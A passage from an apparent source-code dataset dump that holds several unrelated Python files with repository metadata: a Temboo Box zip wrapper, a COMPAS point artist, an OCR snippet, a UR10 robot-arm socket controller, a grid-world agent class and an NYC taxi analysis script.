ad_times[i-1]) < PREVENT_DURATION: ad_times = randomize_time() break if (i+1)<len(ad_times): if abs(ad_times[i] - ad_times[i+1]) < PREVENT_DURATION: ad_times = randomize_time() break return ad_times if len(available_times) > N_ADS: ad_times = randomize_time() #print(ad_times) else: #print("ERROR: len(available_times) <= N_ADS") return [] local_shot_ids = [] for time in ad_times: local_shot_ids.append(available_local_shot_ids[available_times.index(time)]) # print(ad_times) result = [] for i in range(0, N_ADS): result.append({ "ad_id":ads[i][0], "time":ad_times[i], "local_shot_id":local_shot_ids[i], "href":ads[i][1], "src":ads[i][2] }) #print(result) return result

222

0

2,440

0

-33

134

5f7d6c5925fe4e52b86831fe3e20e0cbb51570a3

4,646

py

Python

temboo/core/Library/Box/Files/ZipFile.py

jordanemedlock/psychtruths

52e09033ade9608bd5143129f8a1bfac22d634dd

[ "Apache-2.0" ]

7

2016-03-07T02:07:21.000Z

2022-01-21T02:22:41.000Z

temboo/core/Library/Box/Files/ZipFile.py

jordanemedlock/psychtruths

52e09033ade9608bd5143129f8a1bfac22d634dd

[ "Apache-2.0" ]

null

temboo/core/Library/Box/Files/ZipFile.py

jordanemedlock/psychtruths

52e09033ade9608bd5143129f8a1bfac22d634dd

[ "Apache-2.0" ]

8

2016-06-14T06:01:11.000Z

2020-04-22T09:21:44.000Z

# -*- coding: utf-8 -*- ############################################################################### # # ZipFile # Creates a zipped version of the specified Box file and returns a link to the new compressed file. # # Python versions 2.6, 2.7, 3.x # # Copyright 2014, Temboo Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, # either express or implied. See the License for the specific # language governing permissions and limitations under the License. # # ###############################################################################

40.754386

206

0.674774

# -*- coding: utf-8 -*- ############################################################################### # # ZipFile # Creates a zipped version of the specified Box file and returns a link to the new compressed file. # # Python versions 2.6, 2.7, 3.x # # Copyright 2014, Temboo Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, # either express or implied. See the License for the specific # language governing permissions and limitations under the License. # # ############################################################################### from temboo.core.choreography import Choreography from temboo.core.choreography import InputSet from temboo.core.choreography import ResultSet from temboo.core.choreography import ChoreographyExecution import json class ZipFile(Choreography): def __init__(self, temboo_session): """ Create a new instance of the ZipFile Choreo. A TembooSession object, containing a valid set of Temboo credentials, must be supplied. """ super(ZipFile, self).__init__(temboo_session, '/Library/Box/Files/ZipFile') def new_input_set(self): return ZipFileInputSet() def _make_result_set(self, result, path): return ZipFileResultSet(result, path) def _make_execution(self, session, exec_id, path): return ZipFileChoreographyExecution(session, exec_id, path) class ZipFileInputSet(InputSet): """ An InputSet with methods appropriate for specifying the inputs to the ZipFile Choreo. The InputSet object is used to specify input parameters when executing this Choreo. """ def set_AccessToken(self, value): """ Set the value of the AccessToken input for this Choreo. ((required, string) The access token retrieved during the OAuth2 process.) """ super(ZipFileInputSet, self)._set_input('AccessToken', value) def set_AsUser(self, value): """ Set the value of the AsUser input for this Choreo. ((optional, string) The ID of the user. Only used for enterprise administrators to make API calls for their managed users.) """ super(ZipFileInputSet, self)._set_input('AsUser', value) def set_FileID(self, value): """ Set the value of the FileID input for this Choreo. ((required, string) The id of the file to zip.) """ super(ZipFileInputSet, self)._set_input('FileID', value) def set_SharedLink(self, value): """ Set the value of the SharedLink input for this Choreo. ((conditional, json) A JSON object representing the item?s shared link and associated permissions. See documentation for formatting examples.) """ super(ZipFileInputSet, self)._set_input('SharedLink', value) def set_ZipFileLocation(self, value): """ Set the value of the ZipFileLocation input for this Choreo. ((conditional, string) The id of the folder to put the new zip file in. When not specified, the zip file will be put in the root folder.) """ super(ZipFileInputSet, self)._set_input('ZipFileLocation', value) def set_ZipFileName(self, value): """ Set the value of the ZipFileName input for this Choreo. ((required, string) The name of the zip file that will be created.) """ super(ZipFileInputSet, self)._set_input('ZipFileName', value) class ZipFileResultSet(ResultSet): """ A ResultSet with methods tailored to the values returned by the ZipFile Choreo. The ResultSet object is used to retrieve the results of a Choreo execution. """ def getJSONFromString(self, str): return json.loads(str) def get_Response(self): """ Retrieve the value for the "Response" output from this Choreo execution. ((string) The response from Box. This contains the newly created zip file metadata.) """ return self._output.get('Response', None) def get_URL(self): """ Retrieve the value for the "URL" output from this Choreo execution. ((string) The url for the newly created zip file.) """ return self._output.get('URL', None) class ZipFileChoreographyExecution(ChoreographyExecution): def _make_result_set(self, response, path): return ZipFileResultSet(response, path)

0

3,428

0

104

204

68408fe7a5c1690df451641f4565f48305c8e19c

830

py

Python

src/compas_ghpython/artists/pointartist.py

GeneKao/compas

eb6b5dc928236477d5d0fa1561e26dda6296f019

[ "MIT" ]

null

src/compas_ghpython/artists/pointartist.py

GeneKao/compas

eb6b5dc928236477d5d0fa1561e26dda6296f019

[ "MIT" ]

null

src/compas_ghpython/artists/pointartist.py

GeneKao/compas

eb6b5dc928236477d5d0fa1561e26dda6296f019

[ "MIT" ]

null

from __future__ import print_function from __future__ import absolute_import from __future__ import division

23.714286

68

0.659036

from __future__ import print_function from __future__ import absolute_import from __future__ import division import compas_ghpython from compas.artists import PrimitiveArtist from .artist import GHArtist class PointArtist(GHArtist, PrimitiveArtist): """Artist for drawing points. Parameters ---------- point : :class:`compas.geometry.Point` A COMPAS point. """ def __init__(self, point, **kwargs): super(PointArtist, self).__init__(primitive=point, **kwargs) def draw(self): """Draw the point. Returns ------- :class:`Rhino.Geometry.Point3d` """ points = [self._get_args(self.primitive)] return compas_ghpython.draw_points(points)[0] @staticmethod def _get_args(primitive): return {'pos': list(primitive)}

0

62

0

539

0

29

90

9ec102cb665e7539c5fa44c0ec648ab7542b5df8

167

py

Python

imagetext.py

downthecrop/python-text-from-image

d4c79e38ad7a938c17ad94554a5d5dad59991930

[ "BSD-2-Clause" ]

null

imagetext.py

downthecrop/python-text-from-image

d4c79e38ad7a938c17ad94554a5d5dad59991930

[ "BSD-2-Clause" ]

null

imagetext.py

downthecrop/python-text-from-image

d4c79e38ad7a938c17ad94554a5d5dad59991930

[ "BSD-2-Clause" ]

null

##Requires PIL (Pillow), and pytesseract from PIL import Image from pytesseract import image_to_string img=Image.open('test.png') print(image_to_string(img))

20.875

41

0.760479

##Requires PIL (Pillow), and pytesseract from PIL import Image from pytesseract import image_to_string img=Image.open('test.png') print(image_to_string(img))

0

5e646af002eec7affa6c340d69f3649382ec6a9a

17,625

py

Python

shape_recognition/libraries/UR10/UR10.py

ys1998/tactile-shape-recognition

b5ab6f1cdf04ff23e14b467a590533e7ee740b52

[ "MIT" ]

null

shape_recognition/libraries/UR10/UR10.py

ys1998/tactile-shape-recognition

b5ab6f1cdf04ff23e14b467a590533e7ee740b52

[ "MIT" ]

null

shape_recognition/libraries/UR10/UR10.py

ys1998/tactile-shape-recognition

b5ab6f1cdf04ff23e14b467a590533e7ee740b52

[ "MIT" ]

null

# -*- coding: utf-8 -*- ''' #------------------------------------------------------------------------------- # NATIONAL UNIVERSITY OF SINGAPORE - NUS # SINGAPORE INSTITUTE FOR NEUROTECHNOLOGY - SINAPSE # Singapore # URL: http://www.sinapseinstitute.org #------------------------------------------------------------------------------- # Neuromorphic Engineering Group # Author: Rohan Ghosh, MSc # Contact: #------------------------------------------------------------------------------- # Description: UR10 controller in python #------------------------------------------------------------------------------- ''' #------------------------------------------------------------------------------- from ur10_simulation import ur10_simulator import os.path #------------------------------------------------------------------------------- #------------------------------------------------------------------------------- #class for managing UR10 poses and #------------------------------------------------------------------------------- if __name__ == '__main__': port = 30003 ip1 = '10.1.1.6' # ip2 = '10.1.1.6' import sys sys.path.append('../iLimb') buffer_size = 1024 U1 = UR10Controller(ip1) # U2 = UR10Controller(ip2) # U1.read_joints() # print(U1.joints) # U1.read_joints() # Sim = ur10_simulator() # Sim.set_joints(U1.joints) # U1.xyzR = Sim.joints2pose() # print(U1.xyzR) # new_joints = copy(U1.joints) mult = 1 Sim = ur10_simulator() U1.do_circular_pivot_motion(-40, 190,"z",3,20) # time.sleep(3) U1.do_circular_pivot_motion(40, 190,"z",3,-20) # time.sleep(3) U1.do_circular_pivot_motion(-40, 190,"z",3,20) # time.sleep(3) U1.do_circular_pivot_motion(-40, 190,"z",3,-20) # time.sleep(3) # for i in range(100): # t1 = time.time() # # U1.read_joints() # U1.read_xyz() # print(time.time() - t1) # print(U1.joints) # # time.sleep(5) # print(U1.xyzR) #rpy_change = np.deg2rad([0, -10, 0]) # l = iLimbController('COM16') # l.connect() # l.control(['thumb','index','middle'],['open']*3,[290]*3) angle = -10 dist_pivot = 220 grasp_pivot = 25 # #open the fingers # for i in range(6): # #new_xyzR = U1.move_rpy_with_constraints(rpy_change, 175) # #U1.movej(new_xyzR,2) # # l.control(['thumb','index','middle'],['position']*3,[140,120,120]) # U1.read_joints() # Sim.set_joints(U1.joints) # U1.xyzR = Sim.joints2pose() # old_xyzR = copy(U1.xyzR) # print(U1.xyzR) # new_joints = copy(U1.joints) # new_joints[4] = new_joints[4] + angle # new_xyzR = U1.move_joints_with_grasp_constraints(new_joints,dist_pivot,grasp_pivot,"z") # U1.movej(new_xyzR,3) # time.sleep(3.2) #close the fingers # #Bimanual # l.control(['thumb','index','middle'],['open']*3,[290]*3) # time.sleep(1) # U1.movej(old_xyzR,3) # print(mult, new_joints) # old_XYZ = copy(U1.xyzR) # # U2.read_xyz() # print(U1.xyzR) # print(old_XYZ) # # Sim.tcp_vec = U1.xyzR # mult = 1 # seconds = 2 # for i in range(100): # Sim.tcp_vec = Sim.position_along_endaxis(-30) # U1.movej(Sim.tcp_vec,seconds) # time.sleep(seconds) # Sim.tcp_vec = Sim.position_along_endaxis(30) # U1.movej(Sim.tcp_vec,seconds) # time.sleep(seconds) # print(Sim.tcp_vec) # # print(U2.xyzR) # mult = 1 # for i in range(100): # U1.xyzR[0] = U1.xyzR[0] + (20*mult) # # U2.xyzR[0] = U2.xyzR[0] + (20*mult) # U1.movej(U1.xyzR,1) # # pause(0.05) # # U2.movej(U2.xyzR,0.4) # time.sleep(1) # mult = mult*(-1) # print("Joints from port", U.joints) # Sim.set_joints(U.joints) # Sim.tcp_vec = Sim.joints2pose()

31.756757

198

0.549787

# -*- coding: utf-8 -*- ''' #------------------------------------------------------------------------------- # NATIONAL UNIVERSITY OF SINGAPORE - NUS # SINGAPORE INSTITUTE FOR NEUROTECHNOLOGY - SINAPSE # Singapore # URL: http://www.sinapseinstitute.org #------------------------------------------------------------------------------- # Neuromorphic Engineering Group # Author: Rohan Ghosh, MSc # Contact: #------------------------------------------------------------------------------- # Description: UR10 controller in python #------------------------------------------------------------------------------- ''' #------------------------------------------------------------------------------- import socket import numpy as np from ur10_simulation import ur10_simulator import time import struct import binascii from copy import copy import os.path #------------------------------------------------------------------------------- class UR10Controller: def __init__(self, ip,port_recv = 30003, port_send=30002, buffer_size=1024): self.port_send = port_send self.port_recv = port_recv self.ip = ip self.buffer_size = buffer_size self.joints = np.zeros((6)) self.xyzR = np.zeros((6)) self.timer_start = time.time() self.connect() self.read_start = copy(self.read_time()) self.read_timer = 0 def connect(self): self.urcont_send = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.urcont_recv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.urcont_send.connect((self.ip,self.port_send)) self.urcont_recv.connect((self.ip,self.port_recv)) def disconnect(self): self.urcont_send.close() def read_time(self): packet_1 = self.urcont_recv.recv(4) packet_2 = self.urcont_recv.recv(8) packet_3 = self.urcont_recv.recv(1048) Time = self.get_xyzR(packet_2) return Time def movej(self,posevec,t): X = 0.001*posevec[0] Y = 0.001*posevec[1] Z = 0.001*posevec[2] Rx = posevec[3] Ry = posevec[4] Rz = posevec[5] cmd = "movej(p[" + str(X) + "," + str(Y) + "," + str(Z) + "," + str(Rx) + "," + str(Ry) + "," + str(Rz) + "], t =" + str(t) + ")\n" # print(cmd) # a = input("") cmd = bytes(cmd, 'utf-8') self.urcont_send.send(cmd) def movejoint(self,jointvec,t): cmd = "movej([" + str(jointvec[0]) + "," + str(jointvec[1]) + "," + str(jointvec[2]) + "," + str(jointvec[3]) + "," + str(jointvec[4]) + "," + str(jointvec[5]) + "], t =" + str(t) + ") \n" cmd = bytes(cmd, 'utf-8') self.urcont_send.send(cmd) def stopj(self,a = 2): cmd = "stopj(" + str(a) + ")" self.urcont_send.send(cmd) def clear_buffer(self): #t1 = time.time() self.timer_current = copy(time.time()) - self.timer_start t1 = time.time() while 1: time.sleep(0.00001) T = self.read_time() self.read_timer = T - self.read_start if self.timer_current - self.read_timer <0.05: break #t2 = time.time() - t1 def read_xyz(self): #time.sleep(0.05) self.clear_buffer() #time.sleep(0.05) packet_1 = self.urcont_recv.recv(4) packet_2 = self.urcont_recv.recv(8) self.read_timer = self.get_xyzR(packet_2) - self.read_start self.timer_current = time.time() - self.timer_start packet_3 = self.urcont_recv.recv(48) packet_4 = self.urcont_recv.recv(48) packet_5 = self.urcont_recv.recv(48) packet_6 = self.urcont_recv.recv(48) packet_7 = self.urcont_recv.recv(48) packet_8 = self.urcont_recv.recv(48) packet_9 = self.urcont_recv.recv(48) packet_10 = self.urcont_recv.recv(48) packet_11 = self.urcont_recv.recv(48) for i in range(6): packet = self.urcont_recv.recv(8) if i<3: self.xyzR[i] = self.get_xyzR(packet)*1000 else: self.xyzR[i] = self.get_xyzR(packet) useless = self.urcont_recv.recv(568) def get_joint(self,packet): #x = packet[0:8].encode("hex") #x = binascii.hexlify(packet[0:8].encode('utf8')) x = packet[0:8].hex() y = str(x) y = struct.unpack('!d', bytes.fromhex(y))[0] val = y * (180.0/3.1419) return val def get_xyzR(self,packet): #x = packet[0:8].encode("hex") #x = binascii.hexlify(packet[0:8].encode('utf8')) x = packet[0:8].hex() y = str(x) y = struct.unpack('!d', bytes.fromhex(y))[0] val = y return val def read_joints(self): t1 = time.time() self.clear_buffer() print("Time to learn",time.time() - t1) #time.sleep(0.05) packet_1 = self.urcont_recv.recv(4) packet_2 = self.urcont_recv.recv(8) self.read_timer = self.get_xyzR(packet_2) - self.read_start self.timer_current = time.time() - self.timer_start packet_3 = self.urcont_recv.recv(48) packet_4 = self.urcont_recv.recv(48) packet_5 = self.urcont_recv.recv(48) packet_6 = self.urcont_recv.recv(48) packet_7 = self.urcont_recv.recv(48) for i in range(6): packet = self.urcont_recv.recv(8) self.joints[i] = self.get_joint(packet) useless = self.urcont_recv.recv(760) def read_joints_and_xyzR(self): self.clear_buffer() # time.sleep(0.05) packet_1 = self.urcont_recv.recv(4) packet_2 = self.urcont_recv.recv(8) packet_3 = self.urcont_recv.recv(48) packet_4 = self.urcont_recv.recv(48) packet_5 = self.urcont_recv.recv(48) packet_6 = self.urcont_recv.recv(48) packet_7 = self.urcont_recv.recv(48) for i in range(6): packet = self.urcont_recv.recv(8) self.joints[i] = self.get_joint(packet) packet_9 = self.urcont_recv.recv(48) packet_10 = self.urcont_recv.recv(48) packet_11 = self.urcont_recv.recv(48) for i in range(6): packet = self.urcont_recv.recv(8) if i < 3: self.xyzR[i] = self.get_xyzR(packet)*1000 else: self.xyzR[i] = self.get_xyzR(packet) useless = self.urcont_recv.recv(568) def move_joint_with_constraints(self, joints_vec, dist_pivot): #joints_vec is in degrees # self.read_joints_and_xyzR() self.read_joints() # time.sleep(0.5) self.read_xyz() S1 = ur10_simulator() S1.set_joints(self.joints) S1.tcp_vec = S1.joints2pose() S1.set_tcp(self.xyzR) pivot_curr,unit_vector = copy(S1.position_along_endaxis(dist_pivot)) # print(pivot_curr) S1.set_joints(joints_vec) S1.tcp_vec = copy(S1.joints2pose()) pivot_new,unit_vector = copy(S1.position_along_endaxis(dist_pivot)) xyz_shift = pivot_curr[0:3] - pivot_new[0:3] new_xyzR = copy(S1.tcp_vec) new_xyzR[0:3] = np.add(S1.tcp_vec[0:3],xyz_shift) S1.tcp_vec = copy(new_xyzR) # print(S1.position_along_endaxis(dist_pivot)) return new_xyzR def move_joints_with_grasp_constraints(self, joints_vec, dist_pivot,grasp_pivot,constant_axis): self.read_joints() # time.sleep(0.5) self.read_xyz() S1 = ur10_simulator() S1.set_joints(self.joints) S1.tcp_vec = S1.joints2pose() S1.set_tcp(self.xyzR) pivot_curr,unit_vector = copy(S1.grasp_position_endaxis(dist_pivot,grasp_pivot,constant_axis)) # print(pivot_curr) S1.set_joints(joints_vec) S1.tcp_vec = copy(S1.joints2pose()) pivot_new,unit_vector = copy(S1.grasp_position_endaxis(dist_pivot,grasp_pivot,constant_axis)) xyz_shift = pivot_curr[0:3] - pivot_new[0:3] new_xyzR = copy(S1.tcp_vec) new_xyzR[0:3] = np.add(S1.tcp_vec[0:3],xyz_shift) S1.tcp_vec = copy(new_xyzR) # print(S1.position_along_endaxis(dist_pivot)) return new_xyzR def circular_pivot_motion(self, angle, dist_pivot,axis): self.read_joints() # time.sleep(0.5) self.read_xyz() S1 = ur10_simulator() S1.set_joints(self.joints) S1.tcp_vec = S1.joints2pose() S1.set_tcp(self.xyzR) pivot_curr,unit_vector = copy(S1.position_along_endaxis(dist_pivot)) pivot_new = S1.circular_motion(dist_pivot,angle,axis) xyz_shift = pivot_curr[0:3] - pivot_new[0:3] new_xyzR = copy(S1.tcp_vec) new_xyzR[0:3] = np.add(S1.tcp_vec[0:3],xyz_shift) S1.tcp_vec = copy(new_xyzR) return new_xyzR def do_circular_pivot_motion(self, angle, dist_pivot,axis,t,correction): Sim = ur10_simulator() self.read_joints() wrist1 = copy(self.joints[5]) print("Wrist_old",wrist1) Sim.set_joints(self.joints) useless = copy(Sim.joints2pose()) new_xyzR = self.circular_pivot_motion(angle,dist_pivot,axis) self.movej(new_xyzR,t) time.sleep(t + 0.2) self.read_joints() newjoints = copy(self.joints) # newjoints[5] = wrist1+correction newjoints[5] = newjoints[5] + correction self.movejoint(np.deg2rad(newjoints),2) time.sleep(2.1) self.read_joints() print("Wrist_new",self.joints[5]) #------------------------------------------------------------------------------- #class for managing UR10 poses and class URPoseManager(): def __init__(self): #PROPERTY FOR MANAGING POSES (POSITIONS OR JOINTS) self.dictKeys = list() #list containing the names of positions/joints self.dictPosJoints = dict() #dictionary self.dictRelativePos = dict() #dictionary for relative positions #MANAGING POSES (POSITIONS OR JOINTS) #save pose file #filename should contain the full path for the file def save(self,filename): #open the file stream f = open(filename,'w') #loop through all the keys for k in range(len(self.dictKeys)): key = self.dictKeys[k] value = self.dictPosJoints[key] f.write(key + ' ' + value[0] + ' ') [f.write(str(v)+' ') for v in value[1]] f.write('\n') f.close() #load pose file #filename should contain the full path for the file def load(self,filename): if os.path.isfile(filename): with open(filename) as f: lines = f.readlines() #clear the current keys self.dictKeys = list() #clear the current dictionary self.dictPosJoints = dict() #for every line, split the string by new line and spaces #the actual data will be stored as a list where each position #will correspond to a position/joint in the file data = [l.split('\n')[0].split(' ') for l in lines] #save all the dictionary keys self.dictKeys = [str(d[0]) for d in data] #update the dictionary #loop through all the keys for k in range(len(self.dictKeys)): print('loop') posevec = [float(x) for x in data[k][2:8]] value = [data[k][1],posevec] self.dictPosJoints[self.dictKeys[k]] = value #print(self.dictKeys) #debugging #print(self.dictPosJoints) #debugging return True #successfuly managed to load the files else: return False #could not find the file #move the UR robot to the specified pose def moveUR(self,urobj,name,time): if name in self.dictKeys and name in self.dictPosJoints and isinstance(urobj,UR10Controller): if self.dictPosJoints[name][0] == 'p': urobj.movej(self.dictPosJoints[name][1],time) elif self.dictPosJoints[name][0] == 'j': urobj.movejoint(self.dictPosJoints[name][1],time) return True else: return False #get pose names def getPoseNames(self): return copy(self.dictKeys) #get the joint position def getPosJoint(self,name): if name in self.dictKeys and name in self.dictPosJoints: return copy(self.dictPosJoints[name][1]) else: return False #could not find the name #adding a new position #WARNING: Adding a new position with the same name will overwrite any #previous entry #WARNING: position should be in m!! #WARNING: joints should be in radians!! def addPosition(self,name,position): if not name in self.dictKeys: self.dictKeys.append(name) self.dictPosJoints[name] = ['p',position] return True #adding a new joint #WARNING: Adding a new joint with the same name will overwrite any #previous entry #WARNING: joints should be in radians!! def addJoint(self,name,joint): if not name in self.dictKeys: self.dictKeys.append(name) self.dictPosJoints[name] = ['j',joint] return True #removing a position/joint def removePosJoint(self,name): if name in self.dictKeys and name in self.dictPosJoints: del(self.dictKeys[self.dictKeys.index(name)]) del(self.dictPosJoints[name]) return True else: return False #this function remaps all the positions that have been saved to a new #home position. necessary when remapping has changed. as long as it is #possible to create positions relative to an origin or home position, this #method can be used to convert all the stored positions to new values #based on a new origin #def conv2newHome(self,_home): # print('ok') #------------------------------------------------------------------------------- if __name__ == '__main__': port = 30003 ip1 = '10.1.1.6' # ip2 = '10.1.1.6' import os,sys sys.path.append('../iLimb') from iLimb import * buffer_size = 1024 U1 = UR10Controller(ip1) # U2 = UR10Controller(ip2) # U1.read_joints() # print(U1.joints) # U1.read_joints() # Sim = ur10_simulator() # Sim.set_joints(U1.joints) # U1.xyzR = Sim.joints2pose() # print(U1.xyzR) # new_joints = copy(U1.joints) mult = 1 Sim = ur10_simulator() U1.do_circular_pivot_motion(-40, 190,"z",3,20) # time.sleep(3) U1.do_circular_pivot_motion(40, 190,"z",3,-20) # time.sleep(3) U1.do_circular_pivot_motion(-40, 190,"z",3,20) # time.sleep(3) U1.do_circular_pivot_motion(-40, 190,"z",3,-20) # time.sleep(3) # for i in range(100): # t1 = time.time() # # U1.read_joints() # U1.read_xyz() # print(time.time() - t1) # print(U1.joints) # # time.sleep(5) # print(U1.xyzR) #rpy_change = np.deg2rad([0, -10, 0]) # l = iLimbController('COM16') # l.connect() # l.control(['thumb','index','middle'],['open']*3,[290]*3) angle = -10 dist_pivot = 220 grasp_pivot = 25 # #open the fingers # for i in range(6): # #new_xyzR = U1.move_rpy_with_constraints(rpy_change, 175) # #U1.movej(new_xyzR,2) # # l.control(['thumb','index','middle'],['position']*3,[140,120,120]) # U1.read_joints() # Sim.set_joints(U1.joints) # U1.xyzR = Sim.joints2pose() # old_xyzR = copy(U1.xyzR) # print(U1.xyzR) # new_joints = copy(U1.joints) # new_joints[4] = new_joints[4] + angle # new_xyzR = U1.move_joints_with_grasp_constraints(new_joints,dist_pivot,grasp_pivot,"z") # U1.movej(new_xyzR,3) # time.sleep(3.2) #close the fingers # #Bimanual # l.control(['thumb','index','middle'],['open']*3,[290]*3) # time.sleep(1) # U1.movej(old_xyzR,3) # print(mult, new_joints) # old_XYZ = copy(U1.xyzR) # # U2.read_xyz() # print(U1.xyzR) # print(old_XYZ) # # Sim.tcp_vec = U1.xyzR # mult = 1 # seconds = 2 # for i in range(100): # Sim.tcp_vec = Sim.position_along_endaxis(-30) # U1.movej(Sim.tcp_vec,seconds) # time.sleep(seconds) # Sim.tcp_vec = Sim.position_along_endaxis(30) # U1.movej(Sim.tcp_vec,seconds) # time.sleep(seconds) # print(Sim.tcp_vec) # # print(U2.xyzR) # mult = 1 # for i in range(100): # U1.xyzR[0] = U1.xyzR[0] + (20*mult) # # U2.xyzR[0] = U2.xyzR[0] + (20*mult) # U1.movej(U1.xyzR,1) # # pause(0.05) # # U2.movej(U2.xyzR,0.4) # time.sleep(1) # mult = mult*(-1) # print("Joints from port", U.joints) # Sim.set_joints(U.joints) # Sim.tcp_vec = Sim.joints2pose()

0

13,301

0

-34

210

072d2914c7508a4a27885c88e7923aafdfe723a6

4,133

py

Python

src/rlmamr/my_env/capture_target_MA_core.py

yuchen-x/CoRL2019

d482a90441bc8eb0461f1f22fbd65d96584f6914

[ "MIT" ]

2

2020-02-05T04:17:03.000Z

2021-05-24T04:07:36.000Z

src/rlmamr/my_env/capture_target_MA_core.py

yuchen-x/CoRL2019

d482a90441bc8eb0461f1f22fbd65d96584f6914

[ "MIT" ]

null

src/rlmamr/my_env/capture_target_MA_core.py

yuchen-x/CoRL2019

d482a90441bc8eb0461f1f22fbd65d96584f6914

[ "MIT" ]

null

#!/usr/bin/python import numpy as np NORTH = np.array([0, 1]) SOUTH = np.array([0, -1]) WEST = np.array([-1, 0]) EAST = np.array([1, 0]) STAY = np.array([0, 0]) TRANSLATION_TABLE = [ # [left, intended_direction, right] [WEST, NORTH, EAST], [EAST, SOUTH, WEST], [SOUTH, WEST, NORTH], [NORTH, EAST, SOUTH], [STAY, STAY, STAY] ] DIRECTION = np.array([[0.0, 1.0], [0.0, -1.0], [-1.0, 0.0], [1.0, 0.0], [0.0, 0.0]])

33.064

140

0.581176

#!/usr/bin/python import numpy as np import IPython from IPython.core.debugger import set_trace NORTH = np.array([0, 1]) SOUTH = np.array([0, -1]) WEST = np.array([-1, 0]) EAST = np.array([1, 0]) STAY = np.array([0, 0]) TRANSLATION_TABLE = [ # [left, intended_direction, right] [WEST, NORTH, EAST], [EAST, SOUTH, WEST], [SOUTH, WEST, NORTH], [NORTH, EAST, SOUTH], [STAY, STAY, STAY] ] DIRECTION = np.array([[0.0, 1.0], [0.0, -1.0], [-1.0, 0.0], [1.0, 0.0], [0.0, 0.0]]) class Agent(object): """A base class of an agent whose movement path is generated by using astar alg""" def __init__(self, idx, grid_dim, agent_trans_noise=0.1): self.idx = idx self.grid_dim = grid_dim self.x_len, self.y_len = self.grid_dim self.position = self.rand_position(*self.grid_dim) self.agt_trans_noise = agent_trans_noise self.cur_action = None self.cur_action_time_left = 0.0 self.cur_action_done = True def step(self, action, goal): raise NotImplementedError def astar_move(self, goal): moves = self.wrap_positions(DIRECTION + self.position) h = np.linalg.norm(goal-moves, axis=1) dest_idx = np.random.choice(np.where(h == h.min())[0], size=1)[0] trans = TRANSLATION_TABLE[dest_idx][np.random.choice(3, p=[self.agt_trans_noise/2, 1-self.agt_trans_noise, self.agt_trans_noise/2])] self.position = (self.position+trans) % self.x_len dist = np.linalg.norm(goal - self.position) if dist < 0.1: self.cur_action_done = True self.cur_action_time_left = 0.0 ############################################################################ # helper functions def _get_position_from_one_hot(self, goal): index = goal.nonzero()[0] X = index % self.x_len Y = index // self.x_len return np.concatenate([X,Y]) def _get_position_from_normalized(self, goal): if all(goal[2:] == -1): return goal[2:] else: return goal[2:] * self.x_len @staticmethod def rand_position(x_range, y_range): return np.array([np.random.randint(x_range), np.random.randint(y_range)]) def wrap_positions(self, positions): X, Y = np.split(positions,2,axis=1) return np.concatenate([X%self.x_len, Y%self.y_len], axis=1) class Agent_v1(Agent): """Move_To_Target macro-action is terminated by reaching the goal. The low level controller automatically set the latest obvserved tagrget's position as the goal. If the target is flicked, the previous target's location is continuely implemented.""" def __init__(self, idx, grid_dim, agent_trans_noise=0.1): super(Agent_v1, self).__init__(idx, grid_dim, agent_trans_noise=agent_trans_noise) self.pre_goal = np.array([-1,-1]) def step(self, action, goal): """Depends on the input macro-action to run low-level controller to achieve primitive action execution. """ if self.cur_action_done: self.cur_action = action else: action = self.cur_action self.cur_action_done = False self.cur_action_time_left = -1.0 if action == 1: self.cur_action_done = True self.cur_action_time_left = 0.0 else: if len(goal) > len(self.grid_dim) * 2: goal = self._get_position_from_one_hot(goal[self.x_len*self.y_len:]) else: goal = self._get_position_from_normalized(goal) # target is flicked, then move towards the target position in previous obs if all(goal==-1): if all(self.pre_goal==-1): self.cur_action_done = True self.cur_action_time_left = 0.0 else: self.astar_move(self.pre_goal) else: self.astar_move(goal) self.pre_goal = goal

0

115

0

3,379

0

15

91

87af048da678fa17419acdfe0ee36bfcb3064335

4,026

py

Python

src/python/packages/study/__main__.py

djrlj694/nyc-taxi-analysis

0d62cc56594ef9260580c9e6c203e9fbde6fee24

[ "MIT" ]

null

src/python/packages/study/__main__.py

djrlj694/nyc-taxi-analysis

0d62cc56594ef9260580c9e6c203e9fbde6fee24

[ "MIT" ]

null

src/python/packages/study/__main__.py

djrlj694/nyc-taxi-analysis

0d62cc56594ef9260580c9e6c203e9fbde6fee24

[ "MIT" ]

null

#!/usr/bin/env python3 """ __main__.py - The main module for processing data and creating visual summaries for this study. """ import os import sys from pathlib import Path import ui.cli as cli from file import YAMLFile # =========================================================================== # # METADATA # =========================================================================== # __author__ = 'Robert (Bob) L. Jones' __credits__ = ['Robert (Bob) L. Jones'] __created_date__ = 'Dec 29, 2020' __modified_date__ = 'Dec 30, 2020' # =========================================================================== # # EXPORTS # =========================================================================== # # Define the module's API -- the list of exportable objects (classes, # functions, etc.) -- when performing a "wild import" (`from field import *`). __all__ = [ 'DEBUG', ] # =========================================================================== # # CONSTANTS # =========================================================================== # # -- Debugging -- # DEBUG = bool(os.getenv('DEBUG', default=False)) # -- Filesytem -- # PREFIX = Path(os.getenv('PREFIX', default='.')).resolve() DATA_DIR = PREFIX / 'data' SOURCE_DIR = DATA_DIR / '01_raw' RESULTS_DIR = PREFIX / 'results' SOURCE_FILE = '%s_tripdata_%4d-%02d.csv' # -- URLs -- # SOURCE_URL = 'https://s3.amazonaws.com/nyc-tlc/trip+data' # =========================================================================== # # FUNCTIONS # =========================================================================== # # -- Data Analytics -- # # -- Data Processing: Extract -- # # -- Data Processing: Transform -- # # -- Data Processing: Load -- # # -- Utilities -- # # -- Main Program -- # def main(): """ Runs the main set of functions that define the program. """ # Confirm debugging state. DEBUG and print('DEBUG =', DEBUG) # Confirm Python path. DEBUG and print('sys.path =', sys.path) # Print constants. DEBUG and print('PREFIX =', PREFIX) # Print CLI option values. DEBUG and print('args.config =', args.config) # Ex: etc/settings/etl.cfg # Read a configuration file. cfg = YAMLFile(args.config).load() DEBUG and print('cfg =', cfg) DEBUG and print('type(cfg) =', 